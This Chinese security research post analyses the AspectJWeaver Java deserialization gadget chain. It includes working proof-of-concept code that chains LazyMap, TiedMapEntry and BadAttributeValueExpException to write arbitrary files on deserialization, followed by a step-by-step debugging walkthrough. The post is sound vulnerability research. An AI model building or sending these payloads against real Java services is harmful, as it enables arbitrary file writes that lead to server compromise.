暂无简介
AspectJWeaver反序列化利用链
前言
aspectjweaver中有一个SimpleCache类,SimpleCache类中的内部类StoreableCachingMap是一个继承HashMap的类。
其put方法中的writeToPath方法执行了写入文件的操作,以传入的key为文件名,valueBytes为写入文件的内容,valueBytes由put方法中传入的value而来。
writeToPath方法中this.folder为要写入的路径,可以由StoreableCachingMap类的构造函数传入。
然后与File.separator(即),key(文件名)进行拼接,构成fullPath(文件写入的位置),创建FileOutputStream,向其中写入bytes即传入的valueBytes
简单demo
如下demo,利用aspectjweaver中的SimpleCache类的内部类StoreableCachingMap的put方法实现文件写入:
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 调用其put方法
map.put("1.txt","21321321".getBytes(StandardCharsets.UTF_8));
}
}
其会创建D:\1.txt文件,内容为21321321
反序列化触发
从上述分析,可以知道,只要能触发SimpleCache$StoreableCachingMap的put方法就能执行文件写入操作。
CommonCollections中的LazyMap的get方法中存在put方法的调用
在CC反序列化利用链中,LazyMap的get方法常用来触发transformer的transform方法。
我们可以将CC反序列化利用链中触发LazyMap的get的操作用到这里,这就需要目标同时存在CommonCollections依赖。
如下demo即可实现反序列化时写入文件:
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
// 反射获取构造函数
Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
con.setAccessible(true);
// 实例化对象
HashMap map = (HashMap)con.newInstance("D:", 1);
// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("12321321".getBytes(StandardCharsets.UTF_8));
// 返回一个LazyMap对象
Map outmap = LazyMap.decorate(map,transform);
// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
// 这里是为了序列化时不触发LazyMap的get方法
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
// 序列化
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(out);
oos.writeObject(poc);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
// 反序列化
ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
当然也可以利用其他方法来触发LazyMap的get
调试分析
对反序列化触发的代码进行调试分析。
反序列化BadAttributeValueExpException对象,首先进入BadAttributeValueExpException的readObject方法。
这里给valObj赋值为BadAttributeValueExpException对象的val成员的值,其是一个TiedMapEntry对象。
然后进行判断后,调用valObj.toString方法。
在getValue方法中,会调用map.get方法,这里的map是在初始化TiedMapEntry对象的时候传入的LazyMap对象,key是在初始化TiedMapEntry对象的时候传入的"1.txt"
接着会进入LazyMap的get方法。
进行一个判断后,将value赋值为this.factory.transform的返回值,this.factory为LazyMap.decorate方法传入的ConstantTransformer对象。
接着ConstantTransformer的transform方法会返回iConstant,就是ConstantTransformer初始化时传入的值。
然后会调用到this.map.put方法,并传入key和value,this.map为LazyMap.decorate方法传入的SimpleCache$StoreableCachingMap对象。
进而调用到SimpleCache$StoreableCachingMap的put方法,writeToPath方法实现文件写入。
参考
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java
- 本文作者: yecp
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11499
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!